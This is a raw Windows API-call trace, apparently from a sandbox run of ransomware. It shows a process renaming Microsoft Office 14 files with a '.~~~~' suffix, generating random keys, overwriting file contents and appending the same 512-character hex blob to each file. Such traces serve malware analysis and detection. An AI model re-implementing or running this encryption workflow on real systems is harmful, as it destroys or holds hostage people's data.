	[0130.761] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.761] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.761] CloseHandle (hObject=0x130) returned 1
	[0130.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0130.762] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm.~~~~")) returned 1
	[0130.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc9f8 | out: hHeap=0x300000) returned 1
	[0130.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.763] GetLastError () returned 0x0
	[0130.764] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1cf8) returned 1
	[0130.764] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.764] CryptReleaseContext (hProv=0x3a1cf8, dwFlags=0x0) returned 1
	[0130.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.765] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25075470584) returned 1
	[0130.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb761a5b0, dwHighDateTime=0x1d60e1e)) 
	[0130.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823480
	[0130.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823480 | out: hHeap=0x300000) returned 1
	[0130.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0130.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.765] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.765] GetLastError () returned 0x0
	[0130.766] GetLastError () returned 0x0
	[0130.766] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.766] GetLastError () returned 0x0
	[0130.766] GetLastError () returned 0x0
	[0130.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffd888, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.787] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2778, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x2778, lpOverlapped=0x0) returned 1
	[0130.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.797] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.798] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.798] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.799] CloseHandle (hObject=0x130) returned 1
	[0130.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1748
	[0130.846] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll.~~~~")) returned 1
	[0130.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1748 | out: hHeap=0x300000) returned 1
	[0130.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.847] GetLastError () returned 0x0
	[0130.847] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0130.848] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.848] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.848] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25083858009) returned 1
	[0130.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb76fedf0, dwHighDateTime=0x1d60e1e)) 
	[0130.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd000
	[0130.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd000 | out: hHeap=0x300000) returned 1
	[0130.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0130.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.849] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.849] GetLastError () returned 0x0
	[0130.849] GetLastError () returned 0x0
	[0130.850] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.850] GetLastError () returned 0x0
	[0130.850] GetLastError () returned 0x0
	[0130.852] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffb258, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.852] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x4da8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x4da8, lpOverlapped=0x0) returned 1
	[0130.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0130.854] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.854] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.854] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.854] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.854] CloseHandle (hObject=0x120) returned 1
	[0130.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0130.855] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll.~~~~")) returned 1
	[0130.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc9f8 | out: hHeap=0x300000) returned 1
	[0130.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.856] GetLastError () returned 0x0
	[0130.858] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1c70) returned 1
	[0130.859] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.859] CryptReleaseContext (hProv=0x3a1c70, dwFlags=0x0) returned 1
	[0130.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.859] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25084949672) returned 1
	[0130.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb76fedf0, dwHighDateTime=0x1d60e1e)) 
	[0130.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccfc8
	[0130.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccfc8 | out: hHeap=0x300000) returned 1
	[0130.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1748
	[0130.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.860] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.860] GetLastError () returned 0x0
	[0130.860] GetLastError () returned 0x0
	[0130.860] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.860] GetLastError () returned 0x0
	[0130.861] GetLastError () returned 0x0
	[0130.870] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff7670, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.870] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x8990, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8990, lpOverlapped=0x0) returned 1
	[0130.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0130.873] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.873] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.873] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.873] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.873] CloseHandle (hObject=0x120) returned 1
	[0130.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0130.873] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll.~~~~")) returned 1
	[0130.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1c08 | out: hHeap=0x300000) returned 1
	[0130.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.875] GetLastError () returned 0x0
	[0130.876] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0130.876] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.876] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.877] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25086711525) returned 1
	[0130.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb774b0b0, dwHighDateTime=0x1d60e1e)) 
	[0130.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccf58
	[0130.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccf58 | out: hHeap=0x300000) returned 1
	[0130.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0130.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0130.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0130.878] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.878] GetLastError () returned 0x0
	[0130.878] GetLastError () returned 0x0
	[0130.878] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.878] GetLastError () returned 0x0
	[0130.878] GetLastError () returned 0x0
	[0130.957] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffca42, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.957] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x35be, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x35be, lpOverlapped=0x0) returned 1
	[0130.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0130.960] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.960] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.960] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.960] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.960] CloseHandle (hObject=0x120) returned 1
	[0130.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a08dd0
	[0130.970] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_init.xsn"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_init.xsn.~~~~")) returned 1
	[0130.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a08dd0 | out: hHeap=0x300000) returned 1
	[0130.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.978] GetLastError () returned 0x0
	[0130.979] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1a50) returned 1
	[0130.980] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.980] CryptReleaseContext (hProv=0x3a1a50, dwFlags=0x0) returned 1
	[0130.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.980] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25097050849) returned 1
	[0130.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb782f8f0, dwHighDateTime=0x1d60e1e)) 
	[0130.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28234f0
	[0130.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28234f0 | out: hHeap=0x300000) returned 1
	[0130.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3d28
	[0130.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.981] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.981] GetLastError () returned 0x0
	[0130.982] GetLastError () returned 0x0
	[0130.982] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.982] GetLastError () returned 0x0
	[0130.982] GetLastError () returned 0x0
	[0130.989] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.989] WriteFile (in: hFile=0x120, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0130.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
